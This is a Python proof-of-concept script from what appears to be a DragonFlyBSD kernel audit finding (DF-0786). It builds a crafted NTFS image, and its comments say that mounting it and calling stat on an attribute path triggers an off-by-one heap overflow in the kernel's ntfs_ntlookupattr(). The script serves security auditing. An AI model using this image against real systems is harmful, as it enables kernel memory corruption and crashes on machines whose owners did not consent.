DragonFlyBSD Kernel Audit
DF-0786 / gen_ntfs.py
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
#!/usr/bin/env python3
"""
gen_ntfs.py — Minimal valid NTFS filesystem image generator for DF-0786.

Creates a tiny but mountable NTFS image so we can trigger the off-by-one
heap overflow in ntfs_ntlookupattr() (sys/vfs/ntfs/ntfs_subr.c:826-828)
via a stat("/mnt/a:ATTRNAME") on ANY mounted NTFS volume.

Layout (bps=512, spc=8, cluster=4096):
  Cluster  0      : boot sector
  Cluster  1      : unused
  Clusters 2-12   : 11 MFT records (ino 0..10), 4096 bytes each
  Clusters 13-44  : $UpCase data (131072 bytes = 32 clusters)
  Clusters 45-63  : unused

The root directory (ino 5) contains one index entry for filename "a".
stat("/mnt/a:AAAAAAAA") triggers ntfs_ntlookupattr with namelen=8,
which kmalloc(8)+memcpy(8)+buf[8]=0 → off-by-one NUL past the 8-byte slab chunk.
"""
import struct, sys

BPS   = 512
SPC   = 8
CLUS  = BPS * SPC          # 4096
MFTCN = 2
MFTRECSZ = 1               # clusters per MFT record
BPMFTREC = SPC * MFTRECSZ  # sectors per MFT record = 8
MFTRECBYTES = BPS * BPMFTREC  # 4096
NUM_CLUSTERS = 64
SPV = NUM_CLUSTERS * SPC   # sectors per volume = 512

UPCASE_CN  = 13            # $UpCase data starts at cluster 13
UPCASE_NCL = 32            # 32 clusters = 131072 bytes

FILE_MAGIC = 0x454C4946
END_ATTR   = 0xFFFFFFFF

NTFS_A_DATA     = 0x80
NTFS_A_INDXROOT = 0x90
NTFS_AF_INRUN   = 0x01
NTFS_FRFLAG_DIR = 0x0002
NTFS_IEFLAG_LAST = 0x02

def le16(v): return struct.pack('<H', v & 0xFFFF)
def le32(v): return struct.pack('<I', v & 0xFFFFFFFF)
def le64(v): return struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF)

def wstr(s):
    """ASCII string → UTF-16LE bytes."""
    return b''.join(struct.pack('<H', ord(c)) for c in s)

def make_boot_sector():
    """struct bootfile (73 bytes packed)."""
    b = bytearray(BPS)
    b[0:3]  = b'\xEB\x52\x90'           # jmp near
    b[3:11] = b'NTFS    '               # bf_sysid
    struct.pack_into('<H', b, 11, BPS)   # bf_bps = 512
    b[13]   = SPC                       # bf_spc = 8
    # reserved2[7] at 14-20 = zeros
    b[21]   = 0xF8                      # bf_media
    # reserved3[2] at 22-23 = zeros
    struct.pack_into('<H', b, 24, 1)     # bf_spt
    struct.pack_into('<H', b, 26, 1)     # bf_heads
    # reserver4[12] at 28-39 = zeros
    struct.pack_into('<Q', b, 40, SPV)          # bf_spv
    struct.pack_into('<Q', b, 48, MFTCN)        # bf_mftcn = 2
    struct.pack_into('<Q', b, 56, 40)           # bf_mftmirrcn
    b[64]   = MFTRECSZ                  # bf_mftrecsz = 1
    struct.pack_into('<I', b, 65, CLUS)         # bf_ibsz = 4096
    struct.pack_into('<I', b, 69, 0x12345678)   # bf_volsn
    return bytes(b)

def apply_fixups(rec):
    """Apply NTFS fixup array to a 4096-byte MFT record.

    fh_foff at offset 4, fh_fnum at offset 6.
    Fixup signature = rec[fh_foff..fh_foff+2].
    Each sector's last 2 bytes must match the signature.
    Replacement values go into the fixup array.
    For simplicity, we use signature=0x0000 and all-zero replacements,
    ensuring sector boundaries are 0x0000 (they already are in our zero-filled records).
    """
    r = bytearray(rec)
    fh_foff = struct.unpack_from('<H', r, 4)[0]
    fh_fnum = struct.unpack_from('<H', r, 6)[0]

    # Use a non-zero signature to be realistic; set replacement values = original bytes
    sig = 0x0000  # use zero signature so all boundary bytes (already zero) match

    # Write fixup array: [sig, repl0, repl1, ...]
    struct.pack_into('<H', r, fh_foff, sig)
    for i in range(1, fh_fnum):
        repl = 0x0000
        struct.pack_into('<H', r, fh_foff + i * 2, repl)

    # Ensure each sector's last 2 bytes == sig
    for sec in range(fh_fnum - 1):
        off = sec * BPS + BPS - 2
        struct.pack_into('<H', r, off, sig)

    return bytes(r)

def make_file_record(attr_data, flags=0, seqnum=1, nlink=1):
    """Build a complete 4096-byte FILE record with given attributes."""
    rec = bytearray(MFTRECBYTES)

    attroff = 72   # after fixup array (48 + 9*2 = 66, rounded to 72)

    # fixuphdr
    struct.pack_into('<I', rec, 0, FILE_MAGIC)
    struct.pack_into('<H', rec, 4, 48)          # fh_foff
    struct.pack_into('<H', rec, 6, MFTRECBYTES // BPS + 1)  # fh_fnum = 9

    # filerec fields
    # reserved[8] at offset 8 = zeros
    struct.pack_into('<H', rec, 16, seqnum)     # fr_seqnum
    struct.pack_into('<H', rec, 18, nlink)      # fr_nlink
    struct.pack_into('<H', rec, 20, attroff)    # fr_attroff
    struct.pack_into('<H', rec, 22, flags)      # fr_flags
    used = attroff + len(attr_data) + 4         # +4 for end marker
    struct.pack_into('<I', rec, 24, used)       # fr_size (used size)
    struct.pack_into('<I', rec, 28, MFTRECBYTES) # fr_allocated
    struct.pack_into('<Q', rec, 32, 0)          # fr_mainrec
    struct.pack_into('<H', rec, 40, 0)          # fr_attrnum

    # Write attributes at attroff
    rec[attroff:attroff + len(attr_data)] = attr_data
    # End marker
    struct.pack_into('<I', rec, attroff + len(attr_data), END_ATTR)

    return apply_fixups(bytes(rec))

def make_attr_resident(atype, data, name=None):
    """Build a resident attribute.

    name: string like "$I30" or None for unnamed.
    """
    name_bytes = wstr(name) if name else b''
    namelen = len(name) // 2 if name else 0

    # attrhdr: 16 bytes
    # resident header: 8 bytes (at offset 16)
    # name: at offset 24 (if named)
    # data: after name
    nameoff = 24 if namelen else 0
    dataoff = 24 + len(name_bytes)
    total = dataoff + len(data)
    # Round up to 8
    total = (total + 7) & ~7

    a = bytearray(total)
    # attrhdr
    struct.pack_into('<I', a, 0, atype)         # a_type
    struct.pack_into('<I', a, 4, total)         # reclen
    a[8] = 0                                    # a_flag (resident)
    a[9] = namelen                              # a_namelen
    a[10] = nameoff                             # a_nameoff
    a[11] = 0                                   # reserved1
    a[12] = 0                                   # a_compression
    a[13] = 0                                   # reserved2
    struct.pack_into('<H', a, 14, 0)            # a_index

    # resident header
    struct.pack_into('<H', a, 16, len(data))    # a_datalen
    struct.pack_into('<H', a, 18, 0)            # reserved1
    struct.pack_into('<H', a, 20, dataoff)      # a_dataoff
    struct.pack_into('<H', a, 22, 0)            # a_indexed

    # name
    if name_bytes:
        a[24:24 + len(name_bytes)] = name_bytes

    # data
    a[dataoff:dataoff + len(data)] = data

    return bytes(a)

def make_attr_nonresident(atype, vcnstart, vcnend, datalen, allocated, run_bytes, name=None):
    """Build a non-resident attribute with a run list."""
    name_bytes = wstr(name) if name else b''
    namelen = len(name) // 2 if name else 0

    # attrhdr: 16 bytes
    # non-resident header: 48 bytes (at offset 16)
    # name: at offset 64 (if named)
    # run list: after name
    nameoff = 64 if namelen else 0
    dataoff = 64 + len(name_bytes)
    total = dataoff + len(run_bytes)
    total = (total + 7) & ~7

    a = bytearray(total)
    struct.pack_into('<I', a, 0, atype)
    struct.pack_into('<I', a, 4, total)
    a[8] = NTFS_AF_INRUN                        # a_flag (non-resident)
    a[9] = namelen
    a[10] = nameoff
    struct.pack_into('<H', a, 14, 0)

    # non-resident header
    struct.pack_into('<Q', a, 16, vcnstart)     # a_vcnstart
    struct.pack_into('<Q', a, 24, vcnend)       # a_vcnend
    struct.pack_into('<H', a, 32, dataoff)      # a_dataoff
    struct.pack_into('<H', a, 34, 0)            # a_compressalg
    struct.pack_into('<I', a, 36, 0)            # reserved1
    struct.pack_into('<Q', a, 40, allocated)    # a_allocated
    struct.pack_into('<Q', a, 48, datalen)      # a_datalen
    struct.pack_into('<Q', a, 56, datalen)      # a_initialized

    # name
    if name_bytes:
        a[64:64 + len(name_bytes)] = name_bytes

    # run list
    a[dataoff:dataoff + len(run_bytes)] = run_bytes

    return bytes(a)

def make_run_list(runs):
    """Encode a list of (length_clusters, offset_from_prev) into NTFS run list bytes."""
    out = bytearray()
    for length, offset in runs:
        # Determine bytes needed for length and offset
        lb = max(1, (length.bit_length() + 7) // 8)
        ob = max(1, (offset.bit_length() + 7) // 8) if offset >= 0 else 8
        hdr = (ob << 4) | lb
        out.append(hdr)
        out += length.to_bytes(lb, 'little')
        if offset >= 0:
            out += offset.to_bytes(ob, 'little')
        else:
            # Negative offset (two's complement)
            out += (offset & ((1 << (ob * 8)) - 1)).to_bytes(ob, 'little')
    out.append(0)  # terminator
    return bytes(out)

def make_index_entry(fname_str, ino_num, flag=0):
    """Build an attr_indexentry struct for a given filename."""
    fname_w = wstr(fname_str)
    fnamelen = len(fname_str)

    # Fixed part: 82 bytes
    # Variable: fnamelen * 2 bytes for the name
    entry_size = 82 + len(fname_w)
    # Align to 8
    entry_size = (entry_size + 7) & ~7

    e = bytearray(entry_size)
    struct.pack_into('<I', e, 0, ino_num)       # ie_number
    struct.pack_into('<I', e, 4, 0)             # unknown1
    struct.pack_into('<H', e, 8, entry_size)    # reclen
    struct.pack_into('<H', e, 10, 0)            # ie_size
    struct.pack_into('<I', e, 12, flag)         # ie_flag
    struct.pack_into('<I', e, 16, 5)            # ie_fpnumber (parent=root)
    struct.pack_into('<I', e, 20, 0)            # unknown2
    # ie_ftimes: 32 bytes of zeros (offset 24-55)
    struct.pack_into('<Q', e, 56, 0)            # ie_fallocated
    struct.pack_into('<Q', e, 64, 0)            # ie_fsize
    struct.pack_into('<Q', e, 72, 0)            # ie_fflag
    e[80] = fnamelen                            # ie_fnamelen
    e[81] = 0                                   # ie_fnametype (POSIX)
    e[82:82 + len(fname_w)] = fname_w           # ie_fname

    return bytes(e)

def make_index_root_data():
    """Build INDEX_ROOT attribute data: header + entries."""
    # struct attr_indexroot: 32 bytes
    iroot = bytearray(32)
    struct.pack_into('<I', iroot, 0, 0x30)      # ir_unkn1
    struct.pack_into('<I', iroot, 4, 0x01)      # ir_unkn2
    struct.pack_into('<I', iroot, 8, CLUS)      # ir_size = 4096
    struct.pack_into('<I', iroot, 12, 1)        # ir_unkn3
    struct.pack_into('<I', iroot, 16, 0x10)     # ir_unkn4
    struct.pack_into('<I', iroot, 20, 0)        # ir_datalen (filled later)
    struct.pack_into('<I', iroot, 24, 0)        # ir_allocated
    struct.pack_into('<H', iroot, 28, 1)        # ir_flag
    struct.pack_into('<H', iroot, 30, 0)        # ir_unkn7

    # Index entries
    entry_a = make_index_entry("a", ino_num=0, flag=0)
    entry_last = make_index_entry("", ino_num=0, flag=NTFS_IEFLAG_LAST)

    data = bytes(iroot) + entry_a + entry_last

    # Update ir_datalen and ir_allocated
    data = bytearray(data)
    struct.pack_into('<I', data, 20, len(data))  # ir_datalen
    struct.pack_into('<I', data, 24, len(data))  # ir_allocated

    return bytes(data)

def make_attrdef_data():
    """Build $AttrDef $DATA: one entry for $DATA (type 0x80) + terminator."""
    # struct attrdef: 160 bytes each
    # ad_name: 64 wchars = 128 bytes
    # ad_type: u32
    # reserved1: u32[2]
    # ad_flag: u32
    # ad_minlen: u64
    # ad_maxlen: u64

    entry = bytearray(160)
    name_w = wstr("$DATA")
    entry[0:len(name_w)] = name_w
    struct.pack_into('<I', entry, 128, NTFS_A_DATA)  # ad_type = 0x80
    struct.pack_into('<I', entry, 140, 0x0080)       # ad_flag (can be indexed)
    struct.pack_into('<Q', entry, 144, 0)            # ad_minlen
    struct.pack_into('<Q', entry, 152, 0xFFFFFFFFFFFFFFFF)  # ad_maxlen (-1)

    # Terminator entry: ad_name[0] = 0
    term = bytearray(160)

    return bytes(entry) + bytes(term)

def make_bitmap_data():
    """Build $Bitmap $DATA: mark clusters 0-44 as used."""
    n_bytes = (NUM_CLUSTERS + 7) // 8
    bm = bytearray(n_bytes)
    for cn in range(UPCASE_CN + UPCASE_NCL):  # 0..44
        bm[cn // 8] |= (1 << (cn % 8))
    return bytes(bm)

def make_upcase_data():
    """Build $UpCase data: 65536 wchar identity table (lowercase→uppercase).

    For our purposes, an identity table (each char maps to itself) suffices.
    Exact case matches will work regardless.
    """
    data = bytearray(65536 * 2)
    for i in range(65536):
        struct.pack_into('<H', data, i * 2, i)
    return bytes(data)

def build_mft_record_0():
    """ino 0: $MFT — $DATA non-resident mapping MFT clusters."""
    run = make_run_list([(11, MFTCN)])  # 11 clusters starting at cluster 2
    attr = make_attr_nonresident(
        NTFS_A_DATA,
        vcnstart=0, vcnend=10,          # 11 clusters (VCN 0..10)
        datalen=11 * CLUS,
        allocated=11 * CLUS,
        run_bytes=run
    )
    return make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1)

def build_mft_record_4():
    """ino 4: $AttrDef — $DATA resident with attrdef entries."""
    data = make_attrdef_data()
    attr = make_attr_resident(NTFS_A_DATA, data)
    return make_file_record(attr, flags=0, seqnum=1, nlink=1)

def build_mft_record_5():
    """ino 5: Root directory — $INDEX_ROOT ($I30) resident."""
    iroot_data = make_index_root_data()
    attr = make_attr_resident(NTFS_A_INDXROOT, iroot_data, name="$I30")
    return make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1)

def build_mft_record_6():
    """ino 6: $Bitmap — $DATA resident."""
    data = make_bitmap_data()
    attr = make_attr_resident(NTFS_A_DATA, data)
    return make_file_record(attr, flags=0, seqnum=1, nlink=1)

def build_mft_record_10():
    """ino 10: $UpCase — $DATA non-resident."""
    run = make_run_list([(UPCASE_NCL, UPCASE_CN)])  # 32 clusters at cluster 13
    attr = make_attr_nonresident(
        NTFS_A_DATA,
        vcnstart=0, vcnend=UPCASE_NCL - 1,
        datalen=65536 * 2,
        allocated=65536 * 2,
        run_bytes=run
    )
    return make_file_record(attr, flags=0, seqnum=1, nlink=1)

def build_mft_minimal():
    """Minimal valid FILE record (for inos we don't access)."""
    return make_file_record(b'', flags=0, seqnum=1, nlink=0)

def build_image():
    img = bytearray(NUM_CLUSTERS * CLUS)

    # Boot sector in cluster 0
    boot = make_boot_sector()
    img[0:len(boot)] = boot

    # MFT records at clusters 2-12 (ino 0-10)
    mft_records = [None] * 11
    mft_records[0]  = build_mft_record_0()
    mft_records[1]  = build_mft_minimal()
    mft_records[2]  = build_mft_minimal()
    mft_records[3]  = build_mft_minimal()
    mft_records[4]  = build_mft_record_4()
    mft_records[5]  = build_mft_record_5()
    mft_records[6]  = build_mft_record_6()
    mft_records[7]  = build_mft_minimal()
    mft_records[8]  = build_mft_minimal()
    mft_records[9]  = build_mft_minimal()
    mft_records[10] = build_mft_record_10()

    for i in range(11):
        offset = (MFTCN + i) * CLUS
        rec = mft_records[i]
        img[offset:offset + len(rec)] = rec

    # $UpCase data at clusters 13-44
    upcase = make_upcase_data()
    upcase_off = UPCASE_CN * CLUS
    img[upcase_off:upcase_off + len(upcase)] = upcase

    return bytes(img)

if __name__ == '__main__':
    out = sys.argv[1] if len(sys.argv) > 1 else 'ntfs.img'
    img = build_image()
    with open(out, 'wb') as f:
        f.write(img)
    print(f"Generated {out}: {len(img)} bytes ({len(img)//1024} KB)")
    print(f"  bps={BPS} spc={SPC} cluster={CLUS} mftcn={MFTCN}")
    print(f"  Root dir has index entry 'a' (ino 0)")
    print(f"  Trigger: stat /mnt/a:AAAAAAAA  (namelen=8 = slab bucket boundary)")